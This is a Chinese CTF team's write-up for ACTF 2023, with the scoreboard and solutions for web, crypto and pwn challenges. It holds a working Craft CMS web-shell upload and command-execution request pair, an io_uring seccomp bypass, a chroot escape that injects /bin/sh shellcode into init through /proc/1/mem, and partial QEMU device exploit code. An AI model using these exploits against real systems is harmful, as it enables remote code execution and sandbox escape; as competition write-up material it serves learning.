本次 ACTF 2023,我们星盟ctf战队排名第13。

排名 队伍 总分
11 Ph0t1n1a 5777.56
12 Arr3stY0u 5713.39
13 星盟ctf战队 5490
14 Redbud 5312.05
15 Volcano 5040
16 pkucc 4980.49
17 Spirit+ 4738
18 b3f0re 4389
19 V&N 4355
20 Nepnep 4331.31

Web

MyGO’s Live!!!!!

不知道这题咋回事,直接捡到flag了,可能是前面的打出来了,在报错里面就有flag

http://124.70.33.170:24000/checker?url=127.0.0.1

访问发现flag

# Nmap 7.93 scan initiated Sun Oct 29 02:47:20 2023 as: nmap -p 80 -iL /flag-07349212197f72ae -oN - a 127.0.0.1 Failed to resolve "ACTF{s1nc3_I_c4N_d0_anyThin9_1f_I_c4n}". 

craftcms

先用文件写入去写一个shell,然后再用文件包含去执行就能够拿到flag

文件写入poc

POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: */*
Host: 61.147.171.105:62043
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------974726398307238472515955
Content-Length: 843

----------------------------974726398307238472515955
Content-Disposition: form-data; name="action"

conditions/render
----------------------------974726398307238472515955
Content-Disposition: form-data; name="configObject"

craft\elements\conditions\ElementCondition
----------------------------974726398307238472515955
Content-Disposition: form-data; name="config"

{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}
----------------------------974726398307238472515955
Content-Disposition: form-data; name="image"; filename="poc.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;;"/>
<write filename="info:/tmp/shell">
</image>
----------------------------974726398307238472515955--

文件包含poc

POST /?cmd=/readflag HTTP/1.1
Host: 61.147.171.105:62043
Content-Length: 199
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: 123
Origin: http://61.147.171.105:62043
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61.147.171.105:62043/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: CRAFT_CSRF_TOKEN=8ac93d9be5da0ed90bb8783934dfc6d06e3d20a549c0255d71356d14e4fe706ca%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22F-R5IoH982XGSKlbvKVam0ZS6q6ZOZmmRBkzw1yg%22%3B%7D
Connection: close

action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as%20":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/tmp/shell"}]}}

Crypto

MDH

from hashlib import sha256
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    data = f.readlines()
ct = eval(data[0])
pk_alice = eval(data[1])
pk_bob = eval(data[2])

r = 128
c = 96
p = 308955606868885551120230861462612873078105583047156930179459717798715109629
Fp = GF(p)

pk_alice = matrix(Fp, pk_alice)
pk_bob = matrix(Fp, pk_bob)
shared = (pk_alice.T*pk_bob).trace()
flag = int(int(sha256(str(int(shared)).encode()).hexdigest(), 16) ^^ ct)
flag = long_to_bytes(flag).decode()
print(flag)  # ACTF{do_you_know_f0rm2l1n_1s_4w3s0m3!}

EasyRSA

有题可知:
$$
\begin{aligned}
ed -1 &= k_1\phi(N_1) \
ed -1 &= k_2\phi(N_2) \
e d -1 &= k_3\phi(N_3)
\end{aligned}
$$
于是有:
$$
\begin{aligned}
ed -k_1N_1 &= 1+k_1s_1 \
ed -k_2N_2 &= 1+k_2s_2 \
ed -k_3N_3 &= 1+k_3s_3
\end{aligned}
$$
构造格:
$$
\begin{bmatrix}
1 & e &e&e\
0 & -N_1 &0&0\
0 & 0 &-N_2&0\
0 & 0 &0&-N_3\
\end{bmatrix}
$$
调至平衡后,LLL可得d,即解

###Sage###
from gmpy2 import *
from Crypto.Util.number import *
c = 63442255298812942222810837512019302954917822996915527697525497640413662503768308023517128481053593562877494934841788054865410798751447333551319775025362132176942795107214528962480350398519459474033659025815248579631003928932688495682277210240277909527931445899728273182691941548330126199931886748296031014210795428593631253184315074234352536885430181103986084755140024577780815130067722355861473639612699372152970688687877075365330095265612016350599320999156644
e_ = 272785315258275494478303901715994595013215169713087273945370833673873860340153367010424559026764907254821416435761617347240970711252213646287464416524071944646705551816941437389777294159359383356817408302841561284559712640940354294840597133394851851877857751302209309529938795265777557840238332937938235024502686737802184255165075195042860413556866222562167425361146312096189555572705076252573222261842045286782816083933952875990572937346408235562417656218440227
n1 = 327163771871802208683424470007561712270872666244394076667663345333853591836596054597471607916850284565474732679392694515656845653581599800514388800663813830528483334021178531162556250468743461443904645773493383915711571062775922446922917130005772040139744330987272549252540089872170217864935146429898458644025927741607569303966038195226388964722300472005107075179204987774627759625183739199425329481632596633992804636690274844290983438078815836605603147141262181
n2 = 442893163857502334109676162774199722362644200933618691728267162172376730137502879609506615568680508257973678725536472848428042122350184530077765734033425406055810373669798840851851090476687785235612051747082232947418290952863499263547598032467577778461061567081620676910480684540883879257518083587862219344609851852177109722186714811329766477552794034774928983660538381764930765795290189612024799300768559485810526074992569676241537503405494203262336327709010421
n3 = 473173031410877037287927970398347001343136400938581274026578368211539730987889738033351265663756061524526288423355193643110804217683860550767181983527932872361546531994961481442866335447011683462904976896894011884907968495626837219900141842587071512040734664898328709989285205714628355052565784162841441867556282849760230635164284802614010844226671736675222842060257156860013384955769045790763119616939897544697150710631300004180868397245728064351907334273953201


assert n1<n2<n3
M=iroot(int(n3),int(2))[0]
a=[0]*4
a[0]=[M,e_,e_,e_]
a[1]=[0,-n1,0,0]
a[2]=[0,0,-n2,0]
a[3]=[0,0,0,-n3]

Mat = matrix(ZZ,a)
Mat_LLL=Mat.LLL()
# Mat_LLL
assert abs(Mat_LLL[0][0])%M == 0
d = abs(Mat_LLL[0][0])//M
m = int(pow(c,d,n3))
flag = long_to_bytes(m).decode()
print(flag)  # ACTF{5FFC427B-F14F-DCA0-C425-675B149890C2}

MidRSA

改写等式,爆破d_低16位,构建格求解。

对于
$$
\begin{aligned}
e(d_h\times2^{16}+d_l) -1 &= k_1\phi(N_1) \
e(d_h\times2^{16}+d_l) -1 &= k_2\phi(N_2) \
e(d_h\times2^{16}+d_l) -1 &= k_3\phi(N_3)
\end{aligned}
$$

$$
\begin{aligned}
e2^{16}d_h+ed_l -k_1N_1 &= 1+k_1s_1 \
e2^{16}d_h+ed_l -k_2N_2 &= 1+k_2s_2 \
e2^{16}d_h+ed_l -k_3N_3 &= 1+k_3s_3
\end{aligned}
$$
构造格:
$$
\begin{bmatrix}
1 & e2^{16} &e2^{16}&e2^{16}&0\
0 & -N_1 &0&0&0\
0 & 0 &-N_2&0&0\
0 & 0 &0&-N_3&0\
0 & ed_l&ed_l&ed_l&1\
\end{bmatrix}
$$
调至平衡后,LLL可得d高位,拼接低位后,即恢复d,得解

###Sage###
from gmpy2 import *
from tqdm import tqdm
from Crypto.Util.number import *


c = 598823083137858565473505718525815255620672892612784824187302545127574115000325539999824374357957135208478070797113625659118825530731575573239221853507638809719397849963861367352055486212696958923800593172417262351719477530809870735637329898331854130533160020420263724619225174940214193740379571953951059401685115164634005411478583529751890781498407518739069969017597521632392997743956791839564573371955246955738575593780508817401390102856295102225132502636316844
e_ = 334726528702628887205076146544909357751287869200972341824248480332256143541098971600873722567713812425364296038771650383962046800505086167635487091757206238206029361844181642521606953049529231154613145553220809927001722518303114599682529196697410089598230645579658906203453435640824934159645602447676974027474924465177723434855318446073578465621382859962701578350462059764095163424218813852195709023435581237538699769359084386399099644884006684995755938605201771
n3 = 621786427956510577894657745225233425730501124908354697121702414978035232119311662357181409283130180887720760732555757426221953950475736078765267856308595870951635246720750862259255389006679454647170476427262240270915881126875224574474706572728931213060252787326765271752969318854360970801540289807965575654629288558728966771231501959974533484678236051025940684114262451777094234017210230731492336480895879764397821363102224085859281971513276968559080593778873231
n2 = 335133378611627373902246132362791381335635839627660359611198202073307340179794138179041524058800936207811546752188713855950891460382258433727589232119735602364790267515558352318957355100518427499530387075144776790492766973547088838586041648900788325902589777445641895775357091753360428198189998860317775077739054298868885308909495601041757108114540069950359802851809227248145281594107487276003206931533768902437356652676341735882783415106786497390475670647453821
n1 = 220290953009399899705676642623181513318918775662713704923101352853965768389363281894663344270979715555659079125651553079702318700200824118622766698792556506368153467944348604006011828780474050012010677204862020009069971864222175380878120025727369117819196954091417740367068284457817961773989542151049465711430065838517386380261817772422927774945414543880659243592749932727798690742051285364898081188510009069286094647222933710799481899960520270189522155672272451

n1,n2,n3 = sorted([n1,n2,n3])

assert n1<n2<n3

def solve():

    for dl in tqdm(range(2^16)):
        a=[0]*5
        a[0]=[2^(16+767),e_*2^16,e_*2^16,e_*2^16,0]
        a[1]=[0,-n1,0,0,0]
        a[2]=[0,0,-n2,0,0]
        a[3]=[0,0,0,-n3,0]
        a[4]=[0,e_*dl,e_*dl,e_*dl,2^(576+767)]

        Mat = matrix(ZZ,a)
        Mat_LLL=Mat.LLL()

        for line in Mat_LLL:
            if (abs(line[-1]) == 2^(576+767)):
                dh = abs(line[0])//2^(16+767)
                d = int((dh<<16)+dl)

                m = int(pow(c,d,n1))
                flag1 = long_to_bytes(m)

                m = int(pow(c,d,n2))
                flag2 = long_to_bytes(m)

                m = int(pow(c,d,n3))
                flag3 = long_to_bytes(m)

                flags = [flag1, flag2,flag3]
                for f in flags:
                    if b'ACTF{' in f:
                        print(f)
                        return
solve()  # ACTF{D16C46D9-77A2-2D96-CA51-4538EFB6AFF7}

Pwn

master of orw

题目直接给了任意代码执行,但是 sandbox 禁用了常用的 orw (open|read|write) 会用到的系统调用。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  void *buf; // [rsp+8h] [rbp-8h]

  sub_1209();
  buf = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
  puts("Input your code");
  read(0, buf, 0x400uLL);
  puts("Wish you a good journey");
  sandbox();
  ((void (*)(void))buf)();
  return 0LL;
}

禁用规则如下

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x19 0xc000003e  if (A != ARCH_X86_64) goto 0027
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x16 0xffffffff  if (A != 0xffffffff) goto 0027
 0005: 0x15 0x15 0x00 0x00000000  if (A == read) goto 0027
 0006: 0x15 0x14 0x00 0x00000001  if (A == write) goto 0027
 0007: 0x15 0x13 0x00 0x00000002  if (A == open) goto 0027
 0008: 0x15 0x12 0x00 0x00000011  if (A == pread64) goto 0027
 0009: 0x15 0x11 0x00 0x00000012  if (A == pwrite64) goto 0027
 0010: 0x15 0x10 0x00 0x00000013  if (A == readv) goto 0027
 0011: 0x15 0x0f 0x00 0x00000014  if (A == writev) goto 0027
 0012: 0x15 0x0e 0x00 0x00000028  if (A == sendfile) goto 0027
 0013: 0x15 0x0d 0x00 0x0000002c  if (A == sendto) goto 0027
 0014: 0x15 0x0c 0x00 0x0000002e  if (A == sendmsg) goto 0027
 0015: 0x15 0x0b 0x00 0x0000003b  if (A == execve) goto 0027
 0016: 0x15 0x0a 0x00 0x00000101  if (A == openat) goto 0027
 0017: 0x15 0x09 0x00 0x00000127  if (A == preadv) goto 0027
 0018: 0x15 0x08 0x00 0x00000128  if (A == pwritev) goto 0027
 0019: 0x15 0x07 0x00 0x0000012f  if (A == name_to_handle_at) goto 0027
 0020: 0x15 0x06 0x00 0x00000130  if (A == open_by_handle_at) goto 0027
 0021: 0x15 0x05 0x00 0x00000142  if (A == execveat) goto 0027
 0022: 0x15 0x04 0x00 0x00000147  if (A == preadv2) goto 0027
 0023: 0x15 0x03 0x00 0x00000148  if (A == pwritev2) goto 0027
 0024: 0x15 0x02 0x00 0x000001ac  if (A == 0x1ac) goto 0027
 0025: 0x15 0x01 0x00 0x000001b5  if (A == 0x1b5) goto 0027
 0026: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0027: 0x06 0x00 0x00 0x00000000  return KILL

刚开始尝试看man文档来寻找可以代替 orw 的系统调用,没有发现什么可以替代的系统调用。

随后计划直接看内核源码来寻找 orw 的替代逻辑。那么这就需要确定服务器内核的大致版本。

首先下载了 linux-5.15.137 版本的内核,测试其最高的 SYSCALL 是否存在(若不存在,则表示版本低于5.15.137),其最高的 SYSCALL 是 process_mrelease

内核的 syscall table 在 /linux-5.15.137/arch/x86/entry/syscalls/syscall_64.tbl 文件中。

448	common	process_mrelease	sys_process_mrelease

远程测试可得 process_mrelease 存在,因此版本大于 5.15.137

接着替换为 linux-6.1.60,其最高的 SYSCALL 是 set_mempolicy_home_node

450	common	set_mempolicy_home_node	sys_set_mempolicy_home_node

远程测试可得 set_mempolicy_home_node 不存在,因此版本小于 6.1.60

所以后面以 linux-5.15.137 为参考。

首先定位到 SYS_openat,观察该系统调用的底层实现。

// /linux-5.15.137/fs/open.c:1238
SYSCALL_DEFINE4(openat, int, dfd, const char __user *, filename, int, flags,
        umode_t, mode)
{
    if (force_o_largefile())
        flags |= O_LARGEFILE;
    return do_sys_open(dfd, filename, flags, mode);
}

其通过 do_sys_open 函数来实现打开文件的逻辑,随后在源码中寻找 do_sys_open 相关引用,没有发现方便利用的逻辑。

继续深入 do_sys_open 函数,其深层是 do_sys_openat2 函数,从源码中判断,其主要逻辑是 do_filp_open 函数。

// /linux-5.15.137/fs/open.c:1224
long do_sys_open(int dfd, const char __user *filename, int flags, umode_t mode)
{
    struct open_how how = build_open_how(flags, mode);
    return do_sys_openat2(dfd, filename, &how);
}

// /linux-5.15.137/fs/open.c:1195
static long do_sys_openat2(int dfd, const char __user *filename,
               struct open_how *how)
{
    struct open_flags op;
    int fd = build_open_flags(how, &op);
    struct filename *tmp;

    if (fd)
        return fd;

    tmp = getname(filename);
    if (IS_ERR(tmp))
        return PTR_ERR(tmp);

    fd = get_unused_fd_flags(how->flags);
    if (fd >= 0) {
        struct file *f = do_filp_open(dfd, tmp, &op);
        if (IS_ERR(f)) {
            put_unused_fd(fd);
            fd = PTR_ERR(f);
        } else {
            fsnotify_open(f);
            fd_install(fd, f);
        }
    }
    putname(tmp);
    return fd;
}

寻找 do_filp_open 函数的相关引用,在 io_uring.c 文件中找到其调用函数 io_openat2

// /linux-5.15.137/io_uring/io_uring.c:4367
static int io_openat2(struct io_kiocb *req, unsigned int issue_flags)
{
    ...
    file = do_filp_open(req->open.dfd, req->open.filename, &op);
    ...
}

通过函数 io_openat2 寻找引用链,可以得到这样的调用链 : io_openat2 <- io_issue_sqe <- io_wq_submit_work <- io_init_wq_offload <- io_uring_alloc_task_context <- io_sq_offload_create <- io_uring_create <- io_uring_setup <- SYSCALL_DEFINE2(io_uring_setup, u32, entries, struct io_uring_params __user *, params)

因此猜测该 open 实现与 io_uring 有关,通过查找其 man 文档 io_uring_enter.2 可以确定这一点。其包含了 IORING_OP_OPENATIORING_OP_READIORING_OP_WRITE 操作,恰好可以进行 orw

因此利用 io_uring 的特性进行 orw 即可。

下面是实现代码:

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <liburing.h>
#include <unistd.h>
#include <syscall.h>
#include <sys/prctl.h>

#define QUEUE_DEPTH 1

int main() {
    struct io_uring ring = {0};
    struct io_uring_sqe *sqe;
    struct io_uring_cqe *cqe;
    int fd, ret;
    char buffer[4096] = {0};

    // 初始化 io_uring
    if (io_uring_queue_init(QUEUE_DEPTH, &ring, 0) < 0) {
        perror("io_uring_queue_init");
        return 1;
    }

    // 准备打开操作
    sqe = io_uring_get_sqe(&ring);
    if (!sqe) {
        fprintf(stderr, "Failed to get SQE\n");
        return 1;
    }

    int dirfd = AT_FDCWD;  // 当前工作目录的文件描述符
    const char *pathname = "./flag";
    int flags = O_RDONLY;

    io_uring_prep_openat(sqe, dirfd, pathname, flags, 0);
    io_uring_sqe_set_data(sqe, NULL);

    // 提交请求
    ret = io_uring_submit(&ring);
    if (ret < 0) {
        perror("io_uring_submit");
        return 1;
    }

    // 等待完成
    ret = io_uring_wait_cqe(&ring, &cqe);
    if (ret < 0) {
        perror("io_uring_wait_cqe");
        return 1;
    }

    // 处理完成的请求
    if (cqe->res < 0) {
        fprintf(stderr, "Open error: %d\n", cqe->res);
        return 1;
    }

    fd = cqe->res;  // 获取打开的文件描述符

    // 准备读取操作
    sqe = io_uring_get_sqe(&ring);
    if (!sqe) {
        fprintf(stderr, "Failed to get SQE\n");
        return 1;
    }

    io_uring_prep_read(sqe, fd, buffer, sizeof(buffer), 0);
    io_uring_sqe_set_data(sqe, NULL);

    // 提交请求
    ret = io_uring_submit(&ring);
    if (ret < 0) {
        perror("io_uring_submit");
        return 1;
    }

    // 等待完成
    ret = io_uring_wait_cqe(&ring, &cqe);
    if (ret < 0) {
        perror("io_uring_wait_cqe");
        return 1;
    }

    // 处理完成的请求
    if (cqe->res < 0) {
        fprintf(stderr, "Read error: %d\n", cqe->res);
        return 1;
    }

    // 准备写操作
    sqe = io_uring_get_sqe(&ring);
    if (!sqe) {
        fprintf(stderr, "Failed to get SQE\n");
        return 1;
    }

    io_uring_prep_write(sqe, 1, buffer, strlen(buffer), 0);
    io_uring_sqe_set_data(sqe, NULL);

    // 提交请求
    ret = io_uring_submit(&ring);
    if (ret < 0) {
        perror("io_uring_submit");
        return 1;
    }

    // 等待完成
    ret = io_uring_wait_cqe(&ring, &cqe);
    if (ret < 0) {
        perror("io_uring_wait_cqe");
        return 1;
    }

    // 处理完成的请求
    if (cqe->res < 0) {
        fprintf(stderr, "Read error: %d\n", cqe->res);
        return 1;
    }

    // printf("Read %d bytes: %s\n", cqe->res, buffer);

    // 清理并关闭文件
    io_uring_cqe_seen(&ring, cqe);
    io_uring_queue_exit(&ring);
    close(fd);
    sleep(1);

    return 0;
}

代码是用 liburing 库实现的,需要在本地编译并上传到服务器执行。由于程序的沙箱规则并没有禁用 recvfrom 系统调用,因此可以使用 recvfrom 来进行上传。

由于每个数据包的大小有限,因此需要用汇编写一个 recvn 函数来获得稳定的上传功能,recvn 代码如下:

mov rsi, 0x400000
mov r14, 32768

again:
mov edi, 0
mov rdx, r14
mov r10d, 0
xor r8d, r8d
xor r9d, r9d
mov eax, 45 ;// recvfrom
syscall
add rsi, rax
sub r14, rax
test r14, r14
jnz again

Young Man esCApe

root权限的chroot沙箱加seccomp沙箱逃逸。

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x44 0xc000003e  if (A != ARCH_X86_64) goto 0070
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x42 0x00 0x40000000  if (A >= 0x40000000) goto 0070
 0004: 0x15 0x41 0x00 0x000000a1  if (A == chroot) goto 0070
 0005: 0x15 0x40 0x00 0x000000a5  if (A == mount) goto 0070
 0006: 0x15 0x3f 0x00 0x00000110  if (A == unshare) goto 0070
 0007: 0x15 0x3e 0x00 0x000000a9  if (A == reboot) goto 0070
 0008: 0x15 0x3d 0x00 0x00000065  if (A == ptrace) goto 0070
 0009: 0x15 0x3c 0x00 0x00000136  if (A == process_vm_readv) goto 0070
 0010: 0x15 0x3b 0x00 0x00000137  if (A == process_vm_writev) goto 0070
 0011: 0x15 0x3a 0x00 0x00000130  if (A == open_by_handle_at) goto 0070
 0012: 0x15 0x39 0x00 0x0000009b  if (A == pivot_root) goto 0070
 0013: 0x15 0x38 0x00 0x000000a3  if (A == acct) goto 0070
 0014: 0x15 0x37 0x00 0x000000f8  if (A == add_key) goto 0070
 0015: 0x15 0x36 0x00 0x00000141  if (A == bpf) goto 0070
 0016: 0x15 0x35 0x00 0x00000131  if (A == clock_adjtime) goto 0070
 0017: 0x15 0x34 0x00 0x000000e3  if (A == clock_settime) goto 0070
 0018: 0x15 0x33 0x00 0x00000038  if (A == clone) goto 0070
 0019: 0x15 0x32 0x00 0x000000ae  if (A == create_module) goto 0070
 0020: 0x15 0x31 0x00 0x000000b0  if (A == delete_module) goto 0070
 0021: 0x15 0x30 0x00 0x00000139  if (A == finit_module) goto 0070
 0022: 0x15 0x2f 0x00 0x000000b1  if (A == get_kernel_syms) goto 0070
 0023: 0x15 0x2e 0x00 0x000000ef  if (A == get_mempolicy) goto 0070
 0024: 0x15 0x2d 0x00 0x000000af  if (A == init_module) goto 0070
 0025: 0x15 0x2c 0x00 0x000000ad  if (A == ioperm) goto 0070
 0026: 0x15 0x2b 0x00 0x000000ac  if (A == iopl) goto 0070
 0027: 0x15 0x2a 0x00 0x00000138  if (A == kcmp) goto 0070
 0028: 0x15 0x29 0x00 0x00000140  if (A == kexec_file_load) goto 0070
 0029: 0x15 0x28 0x00 0x000000f6  if (A == kexec_load) goto 0070
 0030: 0x15 0x27 0x00 0x000000fa  if (A == keyctl) goto 0070
 0031: 0x15 0x26 0x00 0x000000d4  if (A == lookup_dcookie) goto 0070
 0032: 0x15 0x25 0x00 0x000000ed  if (A == mbind) goto 0070
 0033: 0x15 0x24 0x00 0x00000117  if (A == move_pages) goto 0070
 0034: 0x15 0x23 0x00 0x0000012f  if (A == name_to_handle_at) goto 0070
 0035: 0x15 0x22 0x00 0x000000b4  if (A == nfsservctl) goto 0070
 0036: 0x15 0x21 0x00 0x0000012a  if (A == perf_event_open) goto 0070
 0037: 0x15 0x20 0x00 0x00000087  if (A == personality) goto 0070
 0038: 0x15 0x1f 0x00 0x000000b2  if (A == query_module) goto 0070
 0039: 0x15 0x1e 0x00 0x000000b3  if (A == quotactl) goto 0070
 0040: 0x15 0x1d 0x00 0x000000f9  if (A == request_key) goto 0070
 0041: 0x15 0x1c 0x00 0x000000ee  if (A == set_mempolicy) goto 0070
 0042: 0x15 0x1b 0x00 0x00000134  if (A == setns) goto 0070
 0043: 0x15 0x1a 0x00 0x000000a4  if (A == settimeofday) goto 0070
 0044: 0x15 0x19 0x00 0x000000a7  if (A == swapon) goto 0070
 0045: 0x15 0x18 0x00 0x000000a8  if (A == swapoff) goto 0070
 0046: 0x15 0x17 0x00 0x0000008b  if (A == sysfs) goto 0070
 0047: 0x15 0x16 0x00 0x0000009c  if (A == _sysctl) goto 0070
 0048: 0x15 0x15 0x00 0x000000a6  if (A == umount2) goto 0070
 0049: 0x15 0x14 0x00 0x00000086  if (A == uselib) goto 0070
 0050: 0x15 0x13 0x00 0x00000143  if (A == userfaultfd) goto 0070
 0051: 0x15 0x12 0x00 0x00000088  if (A == ustat) goto 0070
 0052: 0x15 0x11 0x00 0x000001b3  if (A == 0x1b3) goto 0070
 0053: 0x15 0x10 0x00 0x000001b2  if (A == 0x1b2) goto 0070
 0054: 0x15 0x0f 0x00 0x000001b6  if (A == 0x1b6) goto 0070
 0055: 0x15 0x0e 0x00 0x000001a8  if (A == 0x1a8) goto 0070
 0056: 0x15 0x0d 0x00 0x0000013d  if (A == seccomp) goto 0070
 0057: 0x15 0x0c 0x00 0x0000009d  if (A == prctl) goto 0070
 0058: 0x15 0x0b 0x00 0x0000009e  if (A == arch_prctl) goto 0070
 0059: 0x15 0x0a 0x00 0x000000ae  if (A == create_module) goto 0070
 0060: 0x15 0x09 0x00 0x000000af  if (A == init_module) goto 0070
 0061: 0x15 0x08 0x00 0x000000b0  if (A == delete_module) goto 0070
 0062: 0x15 0x07 0x00 0x000000b1  if (A == get_kernel_syms) goto 0070
 0063: 0x15 0x06 0x00 0x000000b2  if (A == query_module) goto 0070
 0064: 0x15 0x05 0x00 0x000000d5  if (A == epoll_create) goto 0070
 0065: 0x15 0x04 0x00 0x00000123  if (A == epoll_create1) goto 0070
 0066: 0x15 0x03 0x00 0x000001a9  if (A == 0x1a9) goto 0070
 0067: 0x15 0x02 0x00 0x000001aa  if (A == 0x1aa) goto 0070
 0068: 0x15 0x01 0x00 0x000001ab  if (A == 0x1ab) goto 0070
 0069: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0070: 0x06 0x00 0x00 0x00000000  return KILL

题目给的内核是 linux-6.1.5 ,下载对应的源码,在 /linux-6.1.5/arch/x86/entry/syscalls/syscall_64.tbl 文件中寻找可用的系统调用。

可以找到 fsmount 这个系统调用,从名字可以看出这是一个跟挂载操作相关的系统调用,查阅相关文档,然后尝试使用其对 procfs 进行挂载,测试可以挂载成功,随后就可以利用procfs劫持 init 进程。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stddef.h>
#include <fcntl.h>
#include <dirent.h>
#include <syscall.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/mount.h>

int main()
{
    
    int sfd, mfd, fd;
    char buf[0x100];
    size_t image_addr = 0;
    unsigned char shellcode[] = {
        0x48, 0x8d, 0x3d, 0x17, 0x00, 0x00, 0x00, 0x48, 0x89, 0x3c, 0x24, 0x48,
        0xc7, 0x44, 0x24, 0x08, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xe6, 0xb8,
        0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73,
        0x68, 0x00
    };
    

    // Mount procfs
    sfd = syscall(SYS_fsopen, "proc", FSOPEN_CLOEXEC);
    syscall(SYS_fsconfig, sfd, FSCONFIG_SET_STRING, "source", "proc", 0);
    syscall(SYS_fsconfig, sfd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);
    mfd = syscall(SYS_fsmount, sfd, 0, 0, 0, 0);
    mkdir("/proc", 755);
    syscall(SYS_move_mount, mfd, "", AT_FDCWD, "/proc", MOVE_MOUNT_F_EMPTY_PATH);

    // Leak address
    fd = open("/proc/1/maps", O_RDONLY);
    read(fd, buf, sizeof(buf));
    image_addr = 0;
    for(int i = 0; buf[i] != '-'; i++)
    {
        if(buf[i] >= '0' && buf[i] <= '9')
        {
            image_addr = image_addr * 0x10 + (buf[i] - '0');
        }
        if(buf[i] >= 'a' && buf[i] <= 'f')
        {
            image_addr = image_addr * 0x10 + (buf[i] - 'a' + 0xa);
        }
    }
    printf("Image addr: 0x%lx\n", image_addr);

    // Hijack init process
    fd = open("/proc/1/mem", O_RDWR);
    lseek(fd, image_addr + 0x3c28e, SEEK_SET);
    write(fd, shellcode, sizeof(shellcode));

    return 0;
}

qemu playground - 2

等re爹把函数check过了之后,mmio_write中存在越界写,可以劫持g_malloc返回值的低四字节,pmio任意地址读写。

#include <unistd.h>
#include <sys/io.h>
#include <memory.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>


#define DEVICE_PATH "/sys/devices/pci0000:00/0000:00:04.0/resource0"

#define    page_map_file     "/proc/self/pagemap"
#define    PFN_MASK          ((((uint64_t)1)<<55)-1)
#define    PFN_PRESENT_FLAG  (((uint64_t)1)<<63)

unsigned char* mmio_mem;
size_t pmio_base=0xc040;

void die(char*s)
{
  puts(s);
  exit(-1);
}

size_t mem_addr_vir2phy(unsigned long vir)
{
    int fd;
    int page_size=getpagesize();
    unsigned long vir_page_idx = vir/page_size;
    unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);
    uint64_t pfn_item;

    fd = open(page_map_file, O_RDONLY);
    if (fd<0)
    {
        printf("open %s failed", page_map_file);
        return -1;
    }

    if ((off_t)-1 == lseek(fd, pfn_item_offset, SEEK_SET))
    {
        printf("lseek %s failed", page_map_file);
        return -1;
    }

    if (sizeof(uint64_t) != read(fd, &pfn_item, sizeof(uint64_t)))
    {
        printf("read %s failed", page_map_file);
        return -1;
    }

    if (0==(pfn_item & PFN_PRESENT_FLAG))
    {
        printf("page is not present");
        return -1;
    }
    return (pfn_item & PFN_MASK)*page_size + vir % page_size;
}


void mmio_write(size_t addr, size_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
    *((uint32_t*)(mmio_mem + addr+4)) = value>>32;
}
void mmio_write_32(size_t addr, size_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
    return  *((uint32_t*)(mmio_mem + addr));
}
uint32_t  pmio_write(uint32_t addr, uint32_t  value)
{
    outb(value,addr+pmio_base);
}

size_t pmio_read(uint32_t addr)
{
    return (uint32_t)inb(addr+pmio_base);
}
void open_pmio()
{
    // Open and map I/O memory for the device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");

}
void open_mmio()
{
    // Open and map I/O memory for the device
    int mmio_fd = open(DEVICE_PATH, O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
}

void* mmap_new()
{
    return mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
}

